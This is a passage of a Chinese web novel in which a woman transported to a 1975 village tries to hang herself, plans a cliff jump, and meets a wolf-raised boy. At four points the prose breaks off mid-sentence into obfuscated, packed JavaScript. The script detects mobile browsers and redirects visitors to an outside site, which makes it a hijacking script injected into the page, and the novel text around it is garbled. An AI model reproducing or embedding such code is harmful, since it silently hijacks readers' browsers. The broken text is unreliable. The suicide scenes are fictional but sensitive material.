好多道声音一起涌入耳膜,徐知画这才注意到全家人都挤在了这个小小的房间里,看着她半是担忧半是欢喜。 “都走开走开,龟妹刚醒,别问那么多。”蔡淑芬端来一碗放了糖的水给她喝,再把煮熟的鸡蛋让她吃下去。 徐知画吃饱喝足后,倚靠在床边看着他们一家人嬉笑打闹的样子,穷归穷,但他们真的是很容易满足。 徐知画又休养了几天,双抢也进入尾声,人们总算是能歇一歇,而整天呆在房间里的她也闷得快要发霉了。 正当她想着去捅一捅墙上的蜘蛛网时,一阵“咣咣咣”的敲锣声突然从外面传来,紧接着狗岁兴奋道:“又有人干坏事游街,安荣叔我们快去看!” “我也要去。”徐知画推开窗户接道。 “姑姑,要不你还是留在家里吧。”狗岁有些为难地看着她,说,“万一你又被吓到就不好了。” “我是怕那些动物又不是怕人。”徐知画放话道,“你们不带我去,我就自己去。” “那好吧,不过你要是感到害怕,就捂住眼睛。”狗岁做了一个捂眼的动作。 “一起去一起去。”徐安荣拍掌。 经过院子时,徐康荣叮嘱道:“人多时小心点,保护好自己。” “知道啦。”狗岁说。 徐知画也点点头。 一路上都是想看热闹的人,大家议论纷纷,猜测着这次罪犯是犯了什么罪。 循着敲锣声,来到村口,只见一名男子神情萎靡,被反绑着双手,头戴顶高高尖尖的纸帽子,上面写着:【流氓犯王明】,胸前也挂着写了同样字的大木牌,而名字上还打了个X。 王明走在最前面,嘴里高喊着:“我是王明,我偷偷抄写淫·秽书籍,采取诱骗手段对女性耍流氓,我思想下流肮脏,大家不要向我学习。” 他每说完一句,跟在身后的民兵则敲响几声锣,再大喊道:“大家都来看看流氓犯王明游街示众了!” 而围观的人们,目光满是鄙夷,还有不少人光明正大地朝他吐口水。 徐知画从脑海中搜寻出了有关他的记忆:是之前的同班同学,性子木讷,独来独往,之前曾让他顺手帮忙交作业,他一声不吭地走开了,这次也在下乡的名单中。 有知情人则和身边的八卦群众分享着事件始末—— “王明是一名知青,他抄写的那本书啊……”知情人放低了声音,说,“叫《少女之心》,是关于三角恋情的故事,里面的内容……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880238|159781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“快说呀。”有人催促道,“里面的内容写了什么?” 知情人吊足了胃口,才缓缓强调道:“我可没看过,也是听人说的,就……啧啧……那些事呗。” 他挤挤眼,什么事不言而喻。 “那他是采取什么手段耍流氓?”又有人追问。 知情人哼了哼,说:“他用糖骗了几个四五岁的小姑娘,说脱衣服给摸摸就有糖吃,还让人家不要告诉家人。没想到有个小姑娘回家后,被家人看到糖,就逼问是从哪里来的,没想到牵出了他这个流氓犯。” 听到这的人们愤怒地朝王明的方向唾了一口:“真是个畜生,连四五岁的小姑娘都不放过,简直丧尽天良,天理难容!” 知情人又说:“听说游街完后,要拉他去吃枪子,以儆效尤。” “应该的,这种人渣,死不足惜。” 知情人最后悠悠警醒道:“听说流氓都看过《少女之心》,看过《少女之心》就会变成流氓。所以这本书,是坏书,不能碰!”① “……” 徐知画曾在书籍网络上看到过一些这个时代对罪犯惩罚的相关介绍,手段花样百出,从身心到心灵都要叫罪犯痛苦。 直面这样一幕,徐知画第一次感受到时代的洪流正朝她涌来,她现在是过往历史中的沧海一粟,任何一点风浪都有可能将她淹没。 要谨言慎行。 “姑姑,为什么摸摸就要被抓?”狗岁睁着一双好奇的大眼睛问。 “额……反正男孩子就是不能随便摸女孩子。”徐知画觉得现在不是展开这话题的好时候。 狗岁示意她靠过来,凑近耳朵,悄声问:“可是我看到爸摸了妈的屁股,二婶也经常摸二叔,这算耍流氓要被抓起来吗?” 徐知画被问得有些不好意思,捂住了他的嘴巴防止问下去,说:“回去再跟你说。” * 徐知画是不想再下田干活了,正想着寻其他出路,适当展示一下才艺之类的,然而别人就揪着她不放了。 李小芳说:“别人能干,为什么她不能干?大队长你是不是给她行使特殊权力?如果这样的话,我要大义灭亲!我要举报她搞特殊! “伟大的领袖说了‘知识青年到农村去,接受贫下中农的再教育,很有必要。’她都锄头都没扛过,怎么能算接受了教育,没有改造,思想怎么会有进步?” “而且,如今她在乡下,怕虫怕蛇可不行,越害怕什么,越要面对什么。大队长不是也经常说,‘我们要克服一切困难,迎难而上搞农业!’吗?” 她这一句句砸过来,噎得大队长哑口无言。 本来怜悯徐知画病弱,让她去记工份的活也暂时作罢。 于是,在大家的关注下,徐知画开始顶着大太阳,一起去锄地。 一连几天下来,徐知画累得腰酸背痛,浑身像散架了一般,掌心还起了一个个水泡,看着好不可怜。 可偏李小芳还和老不死唱双簧—— 一个说她干活干成这样,连小孩都比不上,真是羞死人,干脆拿绳子吊死了算。 一个嫌她干啥都干不好,连锄地还要人重新再翻一遍,进她嘴里的粮食真是浪费了。 8. 病秧子X狼少年 徐知画自小是别人口中的孩子,也是徐钰燕拿得出手炫耀的资本。 但她种田是真的没有天赋,宁愿画一百幅画也不想锄一下地。 而且这病弱的身体是一大累赘,有次和老不死争执,还没吵两句自己先气晕过去了。 老不死的吵架战绩再添辉煌。 当徐知画醒来,得知自己落了个“小气鬼”的绰号,百般不服,然后一激动又气晕了。 自此,“胆小鬼”和“小气鬼”这两个称呼,就这样稳稳当当地落在了她的身上。 徐知画的坏名声传播得那么快,老不死功不可没。 鄙视的眼光像针扎一样刺痛她心。 每一次上工于她而言,不亚于上刀山下火海,她是受不了劳作的苦。 当农民伯伯真的太辛苦! 在又一次老不死嘲讽:“我要是你,我就上吊死。”时,徐知画越想越气,脑子一热,也不打算活了,找出一捆麻绳,气冲冲往老屋去。 时值正午,骄阳炙烤着大地,路边的狗都蔫了,在树底下吐着舌头散热,大多数人都躲在家里午休,一路上并没有什么人。 徐知画来到老不死的家门前,在墙角搬来一张梯子,面无表情地爬上梯子,将麻绳穿过房梁,然后在尾端系一个结,最后平静地将绳索套上脖颈,眼睛一闭,踢倒梯子,整个人垂直悬挂下来…… “哎呦!我的天爷啊!” 徐开鸿刚巡田回来,经过时看到这一幕,胆都要吓裂了,脑海中倏地响起之前徐知画那句掷地有声的豪言壮语—— 【我愿意将热血洒在这片土地上!】 “奶奶的!还真洒热血了!”徐开鸿以平生最快的速度冲过去抱起她的腿往上撑托,想到下个月有县领导来大队参观,这时候出人命那不是要他命吗。 “谁啊?”听到动静,老不死打开门,一眼看到徐知画在梁上吊着晃,吓得跌坐在地上。 平时老不死是嘴贱骂徐知画干不了什么活,不如上吊死这样的话,但蔡淑芬也没少骂回她是吊死鬼打粉插花,死不要脸。 难得他们家出了一个相对较软的柿子,老不死自然要逮着捏,也不是真的想要她死。 “还不快过来帮忙!”徐开鸿吼了一声。 “欸欸欸,天盛!小芳!救命!”老不死颤赶紧起身托住她的脚,朝屋内大喊道。 徐天盛和李小芳跑过来,看到也吓了一跳。 众人齐心协力将徐知画解救下来,徐开鸿将食指伸到鼻翼下,舒了一口气:“还有气,快,送去瘸腿康那!” 徐开鸿推了推徐天盛。 “我送?”徐天盛反手指着自己。 “你是她叔,你送!”徐开鸿看着他这副模样,忍住了想踹他的脚。 “哦。”徐天盛抱起徐知画小跑着过去。 * “瘸腿康!瘸腿康!快来人啊!”徐天瑞家院子静悄悄的,徐开鸿进来就嚎了一嗓子。 本在午休的一家人出来一看,龟妹被徐天盛抱着,生死不明,而老不死和李小芳神情躲闪,一副做了亏心事的样子。 “你们把我龟妹怎么了?!她要是出事,我跟你们拼命!”蔡淑芬眼睛一下子红了。 “我们可没把她怎么了,她自己上吊的。”老不死底气不足地说。 “上吊!”蔡淑芬倒吸了一口气,显然也想起什么,眼一瞪,“你叫她上吊的!” 说着就要和老不死掐起来。 “都别吵吵,让瘸腿康安心诊治。”徐开鸿赶紧分开两人。 “祝安留下来帮忙,其他人都出去。”徐康荣说道。 出到院子,徐开鸿看向老不死,说:“要是龟妹真出什么事,你就是教唆他人自杀,娟婆你也是要拉去批斗。” “啊?大队长,我就说说,真没想她死,不要拉我去批斗啊。”老不死立马慌了,彷佛看到了自己被折磨的场景,害怕得发抖。 “要以命抵命!”蔡淑芬恶狠狠地盯着她。 老不死害怕地躲在徐开鸿的身后。 徐开鸿咳了咳,说:“我们要把事情往好的方面想,龟妹吉人自有天相,一定会没事的。” “对,龟妹会没事的。”老不死在心里祈祷,要是她被救回来的话,以后都不当面骂她了。 …… 一定要没事啊! 这一刻,大家所祈愿是相同的。 “龟妹被救过来了。”徐康荣推着轮椅出来。 “太好了!”老不死悬着的心慢慢落回肚子里。 为了表达歉意,难得还提了一篮子鸡蛋过来让徐知画补身体。 【又没死成?】 这是徐知画醒来的第一个感慨,这具身体弱归弱,还挺难杀。 这次上吊伤到了嗓子,说话吃东西都疼得像吞刀片,到头来,还真是自找苦吃。 而徐知画找死这一举动,吓坏了全家人,上工先不用去了,也不放心让她一个人呆着,每天只能坐在徐康荣旁边看他编竹篮。 徐知画好像对生活丧失了激情,感觉什么都没意思,活着好没意思。 她一直觉得总有一天,自己还是会回到现代的,在这里的日子不过是一场噩梦,她总会醒过来的。 身旁的人是NPC,不是真的,或许这里就是楚门的世界,所展现给她看的都不是真的。徐知画给自己洗脑着。 可她没找到门的出口,或许死亡才是出路吧。 为了让他们放心,少关注点自己,徐知画开始装着开心、亲近,不过略施小计,他们就感动流涕,真可笑。 终于,他们放松警惕,她可以独自出门了。 徐知画选了一个天气好的日子,决定去死。 她将房间打扫干净,把攒的钱票留下,算作这段时间他们对自己的照顾吧。 条件有限,简单地用雪花膏将脸抹得水润些,梳一个丸子头,摘一朵鲜花别在上面。 向祝安借了盒胭脂,腮红、口红不落下。 再穿上一条的确良黄色长裙,搭配一双丁字搭扣的女式皮鞋。 “好看。”徐知画看着镜子里的自己,臭美道。 这一次,她选择跳崖去死。 如果幸运,悬崖下或许像玄幻小说写的那般,藏着秘籍,触发时空隧道可穿梭回到现代。 如果不幸,一定会死无全尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880239|159781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不会给这世间留下什么痕迹。而这也是她想要的。 听说万兽山是个风水宝地,当年在鬼子扫荡进村时,村民们就躲进山里逃过了一劫。 当然,徐知画看中它的是:足够险峻。 这一次,她一定会死翘翘,死得不能再死。 徐知画抱着必死的信心,脸上扬着奔向幸福的笑容,大步向前。 “龟妹,你去哪里?”徐康荣像初见那般,在院子里的树下编着竹编。 “我去知青点找同学玩。”好在这几天她都有为今天的出门做准备,和狗岁一起去了好几次知青点。 “等狗岁回来再去吧。”徐康荣说。 “不了,我和同学说女生的悄悄话,他总是跟着不方便。”徐知画答。 “那好吧,你小心点。”徐康荣看着她打扮得美美的,显然是抱了和小姑娘比美的心思,想着回头再叫祝安给她做一条新裙子。 “嗯嗯。” 想着很快就会解脱,一路上,徐知画愉悦地哼起了歌。 突然,一个人匆匆从身旁跑过,又两三个人跑得烟尘飞起,接着五六个人齐齐往同一方向跑去…… 一群人眼里闪烁着兴奋的光茫,好像脱缰的野马,争先恐后地跑着,唯恐错过什么似的。 出什么事了? 反正不关她的事,徐知画没想去凑这个热闹。 来到万兽山脚下,在一个湖泊旁,人们不知道在围观什么,嘴里叫嚷嚷着,吵吵闹闹的。 “狼……” “……抓住狼孩……” “……流血了……” 一些字眼不甚清晰地传进耳膜。 “龟妹,快来快来,快看狼孩!”徐安荣不知道从哪里蹦到身旁,硬拉着她的胳膊要去凑热闹。 “嗷呜——” 凄厉的狼叫声吓了众人一跳,纷纷躲闪后退着。 “哈哈哈,人真成狼了,真是只要活得久,什么稀奇事都会见到。”一个人大声说道。 “可不是,看着挺吓人的,要好几个人才能摁住他。”有人附和。 “你说怎么处理他,不能真像狼一样杀死煮来吃吧?”又有人问。 “不能杀,这是人,不是狼。”见狼孩力竭后,徐开鸿和一个年轻小伙开始拖着他上岸,喊道,“让让,都让让,他受伤了,需要去救治。” 一条路被开道,狼孩就这样直直撞进她的视线。 不过一瞬间,血液在体内疾驰,每一根汗毛都竖立起来,激动让她的呼吸变得急促而紊乱。 徐知画使劲揉了揉眼睛,不太敢相信眼前所看见的人是真的。 但就是真的! 狼孩乱糟糟的长发被捋到后脑勺,身上套着不合身的补丁衣服,五花大绑着,双臂反剪,被推着往前走。 狼孩粗犷、肮脏、狼狈,眼睛却亮得惊人。 他咆哮着、挣扎着、撕咬着,想挣脱、想毁灭、想逃生。 瘦小的身体迸发出强烈的生命力。 然而寡不敌众,徒劳挣扎。 这一刻,似是故人来。 她不是一个人了。 她,不想死了。 9. 病秧子X狼少年 狼孩,不,或许可以叫他刘白。 在现代,徐知画和刘白算是见证了彼此的成长史,年龄相仿,家住隔壁,从幼儿园到高一都是在同一班级,后来文理分科两人才被分散到别的班。 但和别的青梅竹马相亲相爱不同,他们是相恨相“杀”的死对头,其中恩怨可以追溯到上一辈—— 刘白的妈妈周景云、爸爸刘至简和徐知画的妈妈徐钰燕,三个人也是青梅竹马一起长大。 情窦初开那年,周景云喜欢上了刘至简,然而刘至简喜欢的是徐钰燕。 明明三个人在一起玩,但刘至简事事以徐钰燕的感受为先,哪怕得不到回应也甘之如饴为她鞍前马后,而徐钰燕明明不喜欢刘至简,却心安理得享受着他的好。 这让周景云感到很愤怒,她所珍惜求之不得的人,却被徐钰燕玩弄于掌心。 在一次宴会上,周景云认识了相貌不凡温文尔雅的宋新华,一看就是徐钰燕会喜欢的类型,于是鼓动宋新华去追徐钰燕,又三番两次为两人制造偶遇的机会。 后来徐钰燕坠入爱河,真的非君不嫁,未婚先孕,甚至为了宋新华不惜和家人断绝关系。 而在刘至简因暗恋无果借酒消愁时,周景云乘虚而入嘘寒问暖,一次下药春风一度,母凭子贵成功嫁给了他。 周景云也是后来才知道:宋新华是专门针对富家女培训过的伪富豪、真混混,在见徐钰燕脱离豪门无利可图后,家暴男不装了,母女俩的日子过得很是凄惨。 出于愧疚,周景云暗中制造了一场车祸送渣男归西,徐钰燕也再次回归家族过上豪门的千金生活。 只是,两人的情谊终究是回不去了。 周景云嫉妒刘至简的目光总是落在徐钰燕的身上。 徐钰燕憎恨周景云牵桥搭线将她推进渣男的火坑。 也因大人们的这些恩怨情仇,徐知画自小被灌输做什么都要赢刘白一头的意识,开启了长达十五年的无硝烟战争。 两人一见面就是针尖对麦芒,针锋相对,是对手,更是死对头。 徐知画还清楚地记得第一次和刘白交锋,是在幼儿园小班,因为他无意展示了算数的才能,被老师奖励一朵小红花贴纸,放学周景云来接送时,老师还重点表扬了。 而这一幕,徐钰燕清清楚楚地看在眼里,回到家后大发雷霆,揪着耳朵责骂她比不过刘白,后面就开始请私教教她数学。 自此,一颗事事和刘白攀比的种子就埋在徐知画的心里生根发芽了。 比成绩、比人缘、比技能、比知名度…… 然而以上这些,徐知画都要费尽心思百般努力才能维持得了这份荣耀,可刘白不需要,他是天赋型选手,付出一分耕耘就能得到十分收获。 像解同样一道数学题,徐知画要在草稿纸上反复计算一个一个步骤去推才算出结果,但刘白只需看一遍,脑海就会自动跃出答案。 甚至他不需要讨好别人,哪怕平时冷着一张脸,人们也会理所当然地包容他,觉得更酷更喜欢他了。 徐知画真的很讨厌刘白! 虽然徐知画从小就有“绘画神童”的美名,但刘白在物理学方面也展示出惊人的天赋,更被誉为“物理小王子”。 本来徐钰燕还想让徐知画争当个“物理小天后”,但请了很多老师,发现那些定律电磁学等内容实在塞不进她的脑袋,才死心作罢。 高考成绩放榜后,刘白作为A省理科状元,在采访时说了很多,但有一句徐知画记得很清楚—— 他说:“……如果可以,我想发明时空穿梭机,回到过去某个节点做出一些改变。将来的话,我想会致力于量子纠缠研究……” * 是什么原因让自己来到这个陌生的时代,徐知画一直很想知道。 脑海中有两个时代的记忆,2024年的她和1975年的她,哪一个才是真正的她? 她不知道。 这段时间,她一直很惶恐,像漂浮在一个真空层,脚踩不到实地。 现在见到了熟悉的人,徐知画不安的心总算稍稍安定了些。 哪怕这个人是曾经自己的死对头。 依目前的情况来看,这也算是在他乡遇故知了吧。 徐知画有点怀疑,刘白是不是已经暗中在研究什么时空穿梭机了,为了报复才将她传送到这个时代。 可能过程出了什么差错,他自己才被误送过来。 不过想想又不太可能,毕竟如果真的研究出时空穿梭机,那是要震惊全世界的,他所获得的荣誉,她更是拍马都追不上。 眼前这个刘白是粗犷型的,样貌气质有点出入是正常吧,毕竟她自己也有所变化。 在徐知画的预想中,两人重逢应该是老乡见老乡,两眼泪汪汪,互诉衷肠后,商量回去的对策。 正当她想靠近他些,对一下暗号,没想到他“嗷呜~”一声扑上来,还是徐家荣眼疾手快挡在身前,抬脚一踹,将他踹飞了。 刘白像断了线的风筝般从眼前掠过,然后重重摔下地里,晕了过去。 “哎呀,看这狼孩想吃人,还是不要救了。” 看到这一幕,围观的人群离他远了些。 徐知画见刘白吐血了,真害怕他会死去,拽了拽旁边徐家荣的胳膊,恳求道:“去救救他吧。” “他太危险了,让他活着可能会是个祸害。”徐家荣摇摇头。 徐知画打算自己出面保下他,正想上前,却见徐开鸿将他抱回榻上,说:“他身上流的是人血,能教化。怎么说都是一条人命,他既然被我们队发现,那以后也算是光荣大队的人。说不想救的人,是不是想搞分裂?” 这话说得有点严重了,大家面面相觑,都不敢再乱答话。 “瘸腿康,救!”徐开鸿铿锵有力地说道。 有了大队长的话,徐康荣开始专心投入到救治之中,很快,刘白身上的血止住了,骨折的手臂用木板固定好,伤口也被敷了药。 只是他的去处成了问题。 “谁家愿意先收留他一段时日?” 徐开鸿的眼睛扫过人群,众人纷纷低头不敢与之对视,都不想接这个烫手芋头。 徐家荣见徐知画举手有想掺和这趟浑水架势,趁没人注意、在她开口前先捂嘴拖走。 回到屋子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880240|159781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他才低声提醒:“你不要随便大发善心,现在你自己都养活不了自己。” 徐知画用力一咬,徐家荣吃痛地放开手。 “反正我会想办法!”徐知画瞪了他一眼。 “你先别急着走,说说为什么那么在意他,你认识他?”徐家荣拉住她,若有所思地打量着,脸上挂着疑惑不解之色。 毕竟自徐知画回到这个家,她的反应一直都是淡淡的,对什么都无关要紧的样子,所流露的喜怒哀乐只浮于表面,而且到现在也没听她喊过爸妈和哥哥。 就好像…… 怎么说呢。 就好像是游离在这个世界之外,随时准备离开的人。 现在因为这狼孩,她整个人都鲜活起来,好比是木偶被注入了灵魂,情绪有了剧烈的变化。 “我怎么会认识他?就觉得他可怜,想救他行不行?” 现在这具身体和刘白还没有交集,要说认识那是怪力乱神,徐知画现在都不能接受自己跨时空来到这里,更别说若是别人得知会怎么想。 还是稳妥些,关于她是异世人这件事,越少人知道越好。 “求求你了,救救他行不行,家荣哥?”徐知画有些难为情地示弱道。 徐家荣的嘴角不自觉扬了扬,克制住内心的激动,说道:“再求我一次。” 徐知画:“求你了。” 徐家荣等了几秒,微微挑眉看着她。 徐知画心领神会:“求你了,家荣哥。” 徐家荣满意地点点头,说:“既然我妹想要救他,那我这当哥,就勉为其难应了。” 院子里的气氛还在僵着,奈何家里有个母老虎,徐开鸿是不敢随随便便就带人回去住,也不好强制要求别人收留狼孩。 徐家荣就是在这时候走出来说:“狼孩现在受那么重的伤不方便移动,先在我家住下吧。” “还是你思想觉悟高,乐于助人。”包袱被接过去,徐开鸿心头一轻,脸上露出笑容。 “三弟……”徐康荣想阻止,却见他伸手示意不要打断。 “大队长啊,我们一家子都是热心肠的人,但是呢……唉……”徐家荣长叹了口气,开始卖惨,“我们家的情况你也知道,穷得都揭不开锅了,在他养伤期间,吃的用的穿的,我们就是有心也无力啊,你看队上能不能支援点?” 徐开鸿想了想,狠狠揪了一把胡子,说:“没问题,不过有个要求,你们要训练狼孩的生活技能,一个月内我要看到成效。” 这要求就有点高了,本来对队上支援还有点意见的村民瞬间没了意见,毕竟大家都看过,狼孩野性难驯,要教他像个正常人一样生活,恐怕真不好教。 而徐开鸿抱的想法是:到时看能不能请访员来采访登报,毕竟被狼养大的小孩,这可是一件稀奇事;或者在县领导来参观时,多宣传宣传光荣大队的奉献友爱、互助进步精神。 徐家荣看了看徐知画,还是点头应了。 “家荣,你确定这事你能说了算吧?”现在徐天瑞和蔡淑芬上山挖野菜还没回来,徐开鸿不放心地问。 “能。”徐家荣给他一记【放心】的眼神。 10. 病秧子X狼少年 狼孩自有记忆起,就和狼群一起生活,还很小的时候,他一直不明白为什么自己和别的狼长不一样。 光秃秃的身体脆弱又不御寒,两爪既不坚硬也不锋利,四肢并不强壮也不有力,更让他自卑的是,别的狼都有大尾巴,就他没有。 好在先天不足,后天努力,茹毛饮血,厮杀搏斗,他也一天天长大强壮起来。 后来他才知道,自己是被狼后捡回来的。 那年,狼后在生产时突遇虎袭,在逃亡之中狼崽不幸丧生,狼后悲痛欲绝,恰巧在草丛中发现了哇哇大哭的他。 出于母爱的本能,狼后将他带回去当自己的崽养。 因为长相和别的狼格格不入,他的成长过程多是嘲讽与欺压,小时常靠逗乐卖乖才能获得一些食物。 后来大了些,多次在捕猎中展示聪明才智,成功配合狼群捕获更多猎物后,他的地位也高起来。 日子就这样一天天过去,狼王渐渐老去,他有想成为新狼王的野心,于是开始了一轮接一轮的挑战赛,最终不敌另一头公狼。 而挑战失败后,他不得不离开群体,独自觅食。 有次遇上一只落单的母狼,成功将她从虎口中救出后,相处了一段时间,他们决定结为伴侣。 就在他幻想着将来繁衍后代、创建新的家族、成为新狼王时,不幸再次悄悄降临—— 那天,他和往常一样觅食快要回到洞窟时,却听见一声痛苦的长啸,一丝血腥味在空气中隐约可闻。 瞬间他全身肌肉紧绷,黑眸危险地眯起,暗藏嗜血戾气,神色沉着戒备,小心翼翼地移动着身躯,不发出一丝声响。 只见前方三个两脚兽手持武器围攻着自己看中的母狼伴侣,母狼身上鲜血淋漓,明显落了下风,两脚兽们步步逼近…… 他倏地发起攻击,想攀上一个两脚兽的脖子一咬毙命,逐一击破。 然而刚飞跃而起,被一条藤曼绊住了脚,动作稍缓,不过一息之间,一个木叉将他摁在地上。 “怪……怪物!” 视线中,一个两脚兽高高举起武器,随着“梆!绑!绑!”几声响起,母狼的脑袋像炸开了一朵红花,身体抽搐几下,就不动了。 “嗷呜——” 化悲痛为力量,他怒吼着将木叉掰断,想要将始作俑者撕碎!咬烂!吞噬! “跑啊!” 两脚兽们见势不妙,拔腿就跑,开始夺命狂奔。 耳边风声在呼啸,绿野成了虚晃的残影,心跳和着脚步声奏出激昂的乐章,享受极速追捕的乐趣。 狡猾的两脚兽们,竟兵分三路,他顿了顿,决定追击那杀害他未来伴侣的凶手。 近了,近了,近了…… 他高高跃起,而两脚兽猛地蹲下。 糟糕!飞冲过头了—— “扑通——” 他重重地掉进一个陷阱里。 “像狼又像人,是什么动物?” 一根棍子在他的身上戳来戳去。 “嗷呜——” 棍棒不轻不重地落在身上,让他觉得烦躁又不安。 他示威般低吼着,蹦了好几次,又跳了好几回,可都无法从这陷阱中逃出去。 “是狼孩!”一个人惊呼。 “要打死吗?”另一个人问。 “那这杀的是狼还是人?”又一个人问。 杀狼没问题,杀人有可能要惹上是非麻烦。 三人面面相觑,一时间,谁也不敢轻举妄动。 “我回去找大队长,让他来处理。” “欸,先悄悄把那头死狼藏好了。” “我做事你放心。” “……” 他们叽里呱啦在说着什么,狼孩没听懂,在陷阱里转来转去,脑袋猛然撞上土壁,不动了。 “撞晕了?”一个人又拿棍子戳了戳。 狼孩还是一动不动。 “不撞死就行,要不你下去看看。” “我不下,要下你下。” “那我们还是等人来吧。” …… 等了半天,徐开鸿终于带着一帮人浩浩荡荡走过来。 见狼孩躺在陷阱里像没了声息,徐开鸿皱了皱眉:“死了?” “我们可没打死他,他自己撞晕过去了吧。”一个人不确定地说。 “来,我们四个人下去,先把他的手脚绑起来。”徐开鸿吩咐道。 就在靠近狼孩时,他骤然蹬上一个人后背借力一跃而起,身形像狼一样矫健,动作又快,靠近时野性的危机感扑面而来,人们下意识闪了闪,让他成功从陷阱逃出。 “快!抓住他!”徐开鸿喊道。 也是,都是一群血气方刚的小伙子,怕什么,大家纷纷追过去。 狼孩受了伤,且体力不支,而且他们人多,前后左右包抄,很快就将他抓起来。 因为嫌弃他又脏又丑,大家随后将他抬到山下的湖泊搓洗干净,穿上衣服。 他们上下其手,狼孩躲无可躲,感到屈辱至极。 这样一看,人样倒是比狼样的特征更明显了。 狼孩耶! 这年代没什么娱乐节目,一点点八卦都能从村头传到村尾供茶余饭后取乐,得知有小孩被狼养大,谁看到不说一声稀奇,谁都想去凑凑这个热闹。 * 这是狼孩第一次下山,以俘虏被绑的姿势出现在人前。 他瞪着眼、龇着牙,企图吓跑每一个想要靠近的人类。 然而身旁越来越多人涌过来,一道道目光好似要化为利刃将他千刀万剐,此时他所释放的震慑力微不足道。 狼孩以为自己是在劫难逃,忍不住瑟瑟发抖起来,挣扎得愈发厉害。 在人类害怕又新奇的目光中,他想起受伤后困囿于蚁群的狼,逃脱不得,被啃噬殆尽。 他不知道自己会遭受什么样的折磨,也不知道要带他去何方,四肢百骸都叫嚣着疼痛,心中满是怨恨。 想报复! 今日之痛,明日活着必要还之! 他暗暗想到。 在围观的人群里,他看中了一个猎物,嫩白、娇弱,想象对着脖子一口咬下去,血如泉涌,一定很美味。 他肚子又开始饿了。 她的目光不似其他两脚兽那般戏谑残忍,看到他,一下子亮起来,而且因为惊讶,眼睛瞪得圆鼓鼓的,可爱得想一口吃掉。 他冲着她“嗷呜~”了一声,果然吓得她的眼睛瞪得更大了。 被推着走时他还在想,像她这般孱弱的两脚兽,捕不到食也需要向其他强壮的两脚兽巴结奉承卖好才能吃饱肚子吗? 肯定要。 不然她早就饿死了。 他继续被押着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880241|159781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往前走,观察着身旁的两脚兽。 真奇怪,明明有别的两脚兽更高大更威猛,但头领却是个瘦弱苍老些的,而且看大家的样子,都很信服尊敬听从他。 走着走着,来到了一处奇怪的地方,没有密密麻麻的树木草丛,没有虫鸣鸟叫,狼孩不安的情绪越来越激烈。 狼孩想起狼王和狼后曾经告诫过,若是被两脚兽抓走,那是有去无回剥皮抽筋的,而且两脚兽比其他猛兽更恐怖,更狡猾更聪明。 惨了惨了! 他惨了! “嗷呜——”他又一次惨叫起来。 他被放倒,压着四肢,毫无反击之力,一个瘸腿的两脚兽不知道将什么东西涂在伤口上,刺痛的感觉瞬间涌遍全身。 惨叫连连。 他觉得自己要死了。 半晌,那些两脚兽终于松开他,晕晕乎乎中,一张白嫩的脸出现在头顶上。 饥饿的感觉再次侵占理智。 好饿! 吃了她! 呼吸起伏间,拼尽全力,他扑向她。 “嗷呜——” 啊!!! 痛!!! 好痛! 还没靠近她的衣角,他就被踹飞了。 再一次被摁住,他知道时不再来,可惜了。 可恶! 这次他被绳子栓在树下,限制着活动范围! 不过,围在身边的两脚兽越来越少。 天色渐渐暗下来。 狼孩再也坚持不住,晕晕沉沉睡去。 * “……你这是给家里找了个麻烦,狼孩狼孩,那不还是狼吗,你在家里养着一头狼,多危险。”蔡淑芬做工回来得知这件事,第一反应就是反对。 “没事的,我们先绑着他观察几天,他有人的基因,自然是人,怎么能说是狼呢。”徐家荣宽慰道。 “我还是不同意……你明天找大队长再说说……” “龟妹想要狼孩留在家里养,而且大队长除了同意给粮,也同意让龟妹不用下地干活了,只要把他变成正常人,到时算我们一份功劳。”徐家荣赶紧说。 “嗯,我想想让他留下。”徐知画看着蔡淑芬说。 “这样啊,那就让他留下来吧,反正也是多一张嘴的事。”蔡淑芬没再反对,欢喜道,“你不用下地也好,就是不知道大队长为什么要照顾他,肯定有什么企图。” “不管他有什么企图,反正对我们有好处也是真的。”徐家荣说。 